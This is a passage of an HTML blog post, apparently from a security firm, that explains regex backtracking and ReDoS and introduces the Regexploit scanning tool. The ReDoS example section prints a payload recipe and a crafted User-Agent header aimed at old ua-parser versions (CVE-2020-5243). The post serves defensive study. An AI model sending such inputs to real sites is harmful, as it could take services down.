&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123.456.78&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;9&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123.456.789&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;
  &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$1=&quot;123.456.789&quot;&lt;/code&gt;.
The matcher then looks for a literal dot character.
Unable to find it, it tries removing one character at a time from the first &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.+&lt;/code&gt;&lt;/p&gt;
  &lt;div class=&quot;ansi&quot;&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123.456.78&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;9&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123.456.7&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;89&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123.456.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;789&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123.456&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;.789&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123.456&lt;span style=&quot;background-color:#A50&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;789&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;
  &lt;p&gt;until it successfully matches a dot - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$1=&quot;123.456&quot;&lt;/code&gt;&lt;/p&gt;
  &lt;div class=&quot;ansi&quot;&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123.456&lt;span style=&quot;background-color:#A50&quot;&gt;.&lt;span style=&quot;background-color:#A00&quot;&gt;7&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;89&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123.456&lt;span style=&quot;background-color:#A50&quot;&gt;.&lt;span style=&quot;background-color:#A00&quot;&gt;78&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;9&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123.456&lt;span style=&quot;background-color:#A50&quot;&gt;.&lt;span style=&quot;background-color:#A00&quot;&gt;789&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;
  &lt;p&gt;The second capture group matches the final three digits &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$2=&quot;789&quot;&lt;/code&gt;, but we need another dot so it has to backtrack.&lt;/p&gt;
  &lt;div class=&quot;ansi&quot;&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123.456&lt;span style=&quot;background-color:#A50&quot;&gt;.&lt;span style=&quot;background-color:#A00&quot;&gt;78&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;9&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123.456&lt;span style=&quot;background-color:#A50&quot;&gt;.&lt;span style=&quot;background-color:#A00&quot;&gt;7&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;89&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123.456&lt;span style=&quot;background-color:#A50&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;789&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;
  &lt;p&gt;Hmmm… it seems that maybe the match for capture group 1 is incorrect, let’s try backtracking.&lt;/p&gt;
  &lt;div class=&quot;ansi&quot;&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123.45&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;6.789&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123.4&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;56.789&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;456.789&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;.456.789&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123&lt;span style=&quot;background-color:#A50&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;456.789&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;
  &lt;p&gt;OK let’s try with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$1=&quot;123&quot;&lt;/code&gt;, and let’s match group 2 greedily all the way to the end.&lt;/p&gt;
  &lt;div class=&quot;ansi&quot;&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123&lt;span style=&quot;background-color:#A50&quot;&gt;.&lt;span style=&quot;background-color:#A00&quot;&gt;4&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;56.789&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123&lt;span style=&quot;background-color:#A50&quot;&gt;.&lt;span style=&quot;background-color:#A00&quot;&gt;45&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;6.789&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123&lt;span style=&quot;background-color:#A50&quot;&gt;.&lt;span style=&quot;background-color:#A00&quot;&gt;456&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;.789&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123&lt;span style=&quot;background-color:#A50&quot;&gt;.&lt;span style=&quot;background-color:#A00&quot;&gt;456.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;789&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123&lt;span style=&quot;background-color:#A50&quot;&gt;.&lt;span style=&quot;background-color:#A00&quot;&gt;456.7&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;89&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123&lt;span style=&quot;background-color:#A50&quot;&gt;.&lt;span style=&quot;background-color:#A00&quot;&gt;456.78&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;9&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123&lt;span style=&quot;background-color:#A50&quot;&gt;.&lt;span style=&quot;background-color:#A00&quot;&gt;456.789&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;
  &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$2=&quot;456.789&quot;&lt;/code&gt; but now there’s no dot! That can’t be the correct group 2…&lt;/p&gt;
  &lt;div class=&quot;ansi&quot;&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123&lt;span style=&quot;background-color:#A50&quot;&gt;.&lt;span style=&quot;background-color:#A00&quot;&gt;456.78&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;9&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123&lt;span style=&quot;background-color:#A50&quot;&gt;.&lt;span style=&quot;background-color:#A00&quot;&gt;456.7&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;89&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123&lt;span style=&quot;background-color:#A50&quot;&gt;.&lt;span style=&quot;background-color:#A00&quot;&gt;456.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;789&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123&lt;span style=&quot;background-color:#A50&quot;&gt;.&lt;span style=&quot;background-color:#A00&quot;&gt;456&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;.789&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123&lt;span style=&quot;background-color:#A50&quot;&gt;.&lt;span style=&quot;background-color:#A00&quot;&gt;456&lt;span style=&quot;background-color:#0A0&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;789&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123&lt;span style=&quot;background-color:#A50&quot;&gt;.&lt;span style=&quot;background-color:#A00&quot;&gt;456&lt;span style=&quot;background-color:#0A0&quot;&gt;.&lt;span style=&quot;background-color:#A0A&quot;&gt;7&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;89&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123&lt;span style=&quot;background-color:#A50&quot;&gt;.&lt;span style=&quot;background-color:#A00&quot;&gt;456&lt;span style=&quot;background-color:#0A0&quot;&gt;.&lt;span style=&quot;background-color:#A0A&quot;&gt;78&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;9&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color:#ffffff&quot;&gt;&lt;span style=&quot;background-color:#ff00ff&quot;&gt;&lt;span style=&quot;background-color:#A0A&quot;&gt;123&lt;span style=&quot;background-color:#A50&quot;&gt;.&lt;span style=&quot;background-color:#A00&quot;&gt;456&lt;span style=&quot;background-color:#0A0&quot;&gt;.&lt;span style=&quot;background-color:#A0A&quot;&gt;789&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color:#0AA&quot;&gt;&lt;/span&gt;
&lt;/div&gt;
  &lt;p&gt;Finally we have a successful match: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$1=&quot;123&quot;, $2=&quot;456&quot;, $3=&quot;789&quot;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;As you can hopefully see, there can be a lot of back-and-forth in the regex matching process.
This backtracking is due to the ambiguous nature of the regex, where input can be matched in different ways.
If a regex isn’t well-designed, malicious input can cause a much more resource-intensive backtracking loop than this.&lt;/p&gt;

&lt;p&gt;If backtracking takes an extreme amount of time, it will cause a Denial of Service, such as what happened to &lt;a href=&quot;https://blog.cloudflare.com/details-of-the-cloudflare-outage-on-july-2-2019/&quot;&gt;Cloudflare in 2019&lt;/a&gt;.
In runtimes like NodeJS, the &lt;a href=&quot;https://nodejs.org/en/docs/guides/dont-block-the-event-loop/#blocking-the-event-loop-redos&quot;&gt;Event Loop will be blocked&lt;/a&gt; which stalls all timers, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;await&lt;/code&gt;s, requests and responses until regex processing completes.&lt;/p&gt;

&lt;h3 id=&quot;redos-example&quot;&gt;ReDoS example&lt;/h3&gt;

&lt;p&gt;Now we can look at a ReDoS example. The ua-parser package contains a &lt;a href=&quot;https://github.com/ua-parser/uap-core/blob/master/regexes.yaml&quot;&gt;giant list of regexes&lt;/a&gt; for &lt;a href=&quot;https://blog.caller.xyz/user-agent-parsing-redos-cve-2020-5243/&quot;&gt;deciphering browser User-Agent headers&lt;/a&gt;. One of the regular expressions reported in &lt;a href=&quot;https://github.com/ua-parser/uap-core/security/advisories/GHSA-cmcx-xhr8-3w9p&quot;&gt;CVE-2020-5243&lt;/a&gt; was:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;; *([^;/]+) Build[/ ]Huawei(MT1-U06|[A-Z]+\d+[^\);]+)[^\);]*\)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If we look closer at the end part we can see three overlapping repeating groups:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;regex&quot; data-regex=&quot;\d+[^\);]+[^\);]*\)&quot;&gt;
&lt;span style=&quot;background-color:#A0A;&quot;&gt;\d+&lt;/span&gt;&lt;span style=&quot;background-color:#A50&quot;&gt;[^\);]+&lt;/span&gt;&lt;span style=&quot;background-color:#A00&quot;&gt;[^\);]*&lt;/span&gt;&lt;span style=&quot;background-color:#000&quot;&gt;\)&lt;/span&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Digit characters are matched by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\d&lt;/code&gt; and by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[ˆ\);]&lt;/code&gt;. If a string of &lt;em&gt;N&lt;/em&gt; digits enters that section, there are &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;½(N-1)N&lt;/code&gt; possible ways to split it up between the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\d+&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[ˆ\);]+&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[ˆ\);]*&lt;/code&gt; groups. The key to causing ReDoS is to supply input which &lt;em&gt;doesn’t&lt;/em&gt; successfully match, such as by not ending our malicious input with a closing parenthesis.
The regex engine will backtrack and try all possible ways of matching the digits in the hope of then finding a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;)&lt;/code&gt;.&lt;/p&gt;

&lt;iframe style=&quot;overflow: hidden; margin: 0px; border: 0px; display: inline-block; width: 270px; float: none; visibility: visible; height: 535px;&quot; srcdoc=&quot;&amp;lt;body style=&amp;quot;margin:-20px 0;overflow:hidden;&amp;quot;&amp;gt;&amp;lt;script id=&amp;quot;asciicast-MYiODjDca96hDUwGfaQSgJuux&amp;quot; src=&amp;quot;https://asciinema.org/a/MYiODjDca96hDUwGfaQSgJuux.js&amp;quot; async data-cols=&amp;quot;20&amp;quot; data-preload=&amp;quot;0&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;/body&amp;gt;&quot; sandbox=&quot;allow-scripts allow-same-origin&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;This visualisation of the matching steps was produced by emitting verbose debugging from cpython’s regex engine using my &lt;a href=&quot;https://github.com/bcaller/cpython&quot;&gt;cpython fork&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;regexploit&quot;&gt;Regexploit&lt;/h2&gt;

&lt;p&gt;Today, we are releasing a tool called &lt;strong&gt;Regexploit&lt;/strong&gt; to extract regexes from code, scan them and find ReDoS.&lt;/p&gt;

&lt;p&gt;Several tools already exist to find regexes with exponential worst case complexity (regexes of the form &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(a+)+b&lt;/code&gt;), but cubic complexity regexes (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a+a+a+b&lt;/code&gt;) can still be damaging.
&lt;a href=&quot;https://github.com/doyensec/regexploit&quot;&gt;Regexploit&lt;/a&gt; walks through the regex and tries to find ambiguities where a single character could be captured by multiple repeating parts.
Then it looks for a way to make the regular expression &lt;strong&gt;not&lt;/strong&gt; match, so that the regex engine has to backtrack.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;regexploit&lt;/code&gt; script allows you to enter regexes via stdin. If the regex looks OK it will say “No ReDoS found”. With the regex above it shows the vulnerability:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Worst-case complexity: 3 ⭐⭐⭐ (cubic)
Repeated character: [[0-9]]
Example: ';0 Build/HuaweiA' + '0' * 3456
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The final line of output gives a recipe for creating a User-Agent header which will cause ReDoS on sites using old versions of ua-parser, likely resulting in a Bad Gateway error.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;User-Agent: ;0 Build/HuaweiA0000000000000000000000000000...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To scan your source code, there is built-in support for extracting regexes from &lt;em&gt;Python&lt;/em&gt;, &lt;em&gt;JavaScript&lt;/em&gt;, &lt;em&gt;TypeScript&lt;/em&gt;, &lt;em&gt;C#&lt;/em&gt;, &lt;em&gt;JSON&lt;/em&gt; and &lt;em&gt;YAML&lt;/em&gt;. If you are able to extract regexes from other languages, they can be piped in and analysed.&lt;/p&gt;

&lt;p&gt;Once a vulnerable regular expression is found, it does still require some manual investigation. If it’s not possible for untrusted input to reach the regular expression, then it likely does not represent a security issue. In some cases, a prefix or suffix might be required to get the payload to the right place.&lt;/p&gt;

&lt;h2 id=&quot;redos-survey&quot;&gt;ReDoS Survey&lt;/h2&gt;

&lt;p&gt;So what kind of ReDoS issues are out there? We used &lt;a href=&quot;https://github.com/doyensec/regexploit&quot;&gt;Regexploit&lt;/a&gt; to analyse the top few thousand npm and pypi libraries (grabbed from the &lt;a href=&quot;https://libraries.io&quot;&gt;libraries.io&lt;/a&gt; API) to find out.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;svg id=&quot;mermaid-1609345900396&quot; width=&quot;100%&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot; height=&quot;449&quot; style=&quot;max-width: 292.59375px;&quot; viewBox=&quot;0 0 292.59375 449&quot;&gt;&lt;style&gt;#mermaid-1609345900396{font-size:14px;fill:#333;}#mermaid-1609345900396 .error-icon{fill:#552222;}#mermaid-1609345900396 .error-text{fill:#552222;stroke:#552222;}#mermaid-1609345900396 .edge-thickness-normal{stroke-width:2px;}#mermaid-1609345900396 .edge-thickness-thick{stroke-width:3.5px;}#mermaid-1609345900396 .edge-pattern-solid{stroke-dasharray:0;}#mermaid-1609345900396 .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-1609345900396 .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-1609345900396 .marker{fill:#333333;}#mermaid-1609345900396 .marker.cross{stroke:#333333;}#mermaid-1609345900396 svg{font-family:&quot;trebuchet ms&quot;,verdana,arial,sans-serif;font-size:16px;}#mermaid-1609345900396 .label{font-family:&quot;trebuchet ms&quot;,verdana,arial,sans-serif;color:#333;}#mermaid-1609345900396 .label text{fill:#333;}#mermaid-1609345900396 .node rect,#mermaid-1609345900396 .node circle,#mermaid-1609345900396 .node ellipse,#mermaid-1609345900396 .node polygon,#mermaid-1609345900396 .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-1609345900396 .node .label{text-align:center;}#mermaid-1609345900396 .node.clickable{cursor:pointer;}#mermaid-1609345900396 .arrowheadPath{fill:#333333;}#mermaid-1609345900396 .edgePath .path{stroke:#333333;stroke-width:1.5px;}#mermaid-1609345900396 .flowchart-link{stroke:#333333;fill:none;}#mermaid-1609345900396 .edgeLabel{background-color:#e8e8e8;text-align:center;}#mermaid-1609345900396 .edgeLabel rect{opacity:0.5;background-color:#e8e8e8;fill:#e8e8e8;}#mermaid-1609345900396 .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-1609345900396 .cluster text{fill:#333;}#mermaid-1609345900396 div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:&quot;trebuchet ms&quot;,verdana,arial,sans-serif;font-size:12px;background:hsl(80,100%,96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-1609345900396:root{--mermaid-font-family:&quot;trebuchet ms&quot;,verdana,arial,sans-serif;}#mermaid-1609345900396 flowchart{fill:apa;}&lt;/style&gt;&lt;g&gt;&lt;g class=&quot;output&quot;&gt;&lt;g class=&quot;clusters&quot;&gt;&lt;/g&gt;&lt;g class=&quot;edgePaths&quot;&gt;&lt;g class=&quot;edgePath LS-A LE-C&quot; id=&quot;L-A-C&quot; style=&quot;opacity: 1;&quot;&gt;&lt;path class=&quot;path&quot; d=&quot;M145.1796875,47L145.1796875,72L145.1796875,97&quot; marker-end=&quot;url(#arrowhead9203)&quot; style=&quot;fill:none&quot;&gt;&lt;/path&gt;&lt;defs&gt;&lt;marker id=&quot;arrowhead9203&quot; viewBox=&quot;0 0 10 10&quot; refX=&quot;9&quot; refY=&quot;5&quot; markerUnits=&quot;strokeWidth&quot; markerWidth=&quot;8&quot; markerHeight=&quot;6&quot; orient=&quot;auto&quot;&gt;&lt;path d=&quot;M 0 0 L 10 5 L 0 10 z&quot; class=&quot;arrowheadPath&quot; style=&quot;stroke-width: 1; stroke-dasharray: 1, 0;&quot;&gt;&lt;/path&gt;&lt;/marker&gt;&lt;/defs&gt;&lt;/g&gt;&lt;g class=&quot;edgePath LS-C LE-D&quot; id=&quot;L-C-D&quot; style=&quot;opacity: 1;&quot;&gt;&lt;path class=&quot;path&quot; d=&quot;M109.40115870786516,136L63.53125,161L63.53125,186&quot; marker-end=&quot;url(#arrowhead9204)&quot; style=&quot;fill:none&quot;&gt;&lt;/path&gt;&lt;defs&gt;&lt;marker id=&quot;arrowhead9204&quot; viewBox=&quot;0 0 10 10&quot; refX=&quot;9&quot; refY=&quot;5&quot; markerUnits=&quot;strokeWidth&quot; markerWidth=&quot;8&quot; markerHeight=&quot;6&quot; orient=&quot;auto&quot;&gt;&lt;path d=&quot;M 0 0 L 10 5 L 0 10 z&quot; class=&quot;arrowheadPath&quot; style=&quot;stroke-width: 1; stroke-dasharray: 1, 0;&quot;&gt;&lt;/path&gt;&lt;/marker&gt;&lt;/defs&gt;&lt;/g&gt;&lt;g class=&quot;edgePath LS-D LE-E&quot; id=&quot;L-D-E&quot; style=&quot;opacity: 1;&quot;&gt;&lt;path class=&quot;path&quot; d=&quot;M63.53125,225L63.53125,259.5L115.69552951388889,294&quot; marker-end=&quot;url(#arrowhead9205)&quot; style=&quot;fill:none&quot;&gt;&lt;/path&gt;&lt;defs&gt;&lt;marker id=&quot;arrowhead9205&quot; viewBox=&quot;0 0 10 10&quot; refX=&quot;9&quot; refY=&quot;5&quot; markerUnits=&quot;strokeWidth&quot; markerWidth=&quot;8&quot; markerHeight=&quot;6&quot; orient=&quot;auto&quot;&gt;&lt;path d=&quot;M 0 0 L 10 5 L 0 10 z&quot; class=&quot;arrowheadPath&quot; style=&quot;stroke-width: 1; stroke-dasharray: 1, 0;&quot;&gt;&lt;/path&gt;&lt;/marker&gt;&lt;/defs&gt;&lt;/g&gt;&lt;g class=&quot;edgePath LS-C LE-F&quot; id=&quot;L-C-F&quot; style=&quot;opacity: 1;&quot;&gt;&lt;path class=&quot;path&quot; d=&quot;M180.95821629213484,136L226.828125,161L226.828125,186&quot; marker-end=&quot;url(#arrowhead9206)&quot; style=&quot;fill:none&quot;&gt;&lt;/path&gt;&lt;defs&gt;&lt;marker id=&quot;arrowhead9206&quot; viewBox=&quot;0 0 10 10&quot; refX=&quot;9&quot; refY=&quot;5&quot; markerUnits=&quot;strokeWidth&quot; markerWidth=&quot;8&quot; markerHeight=&quot;6&quot; orient=&quot;auto&quot;&gt;&lt;path d=&quot;M 0 0 L 10 5 L 0 10 z&quot; 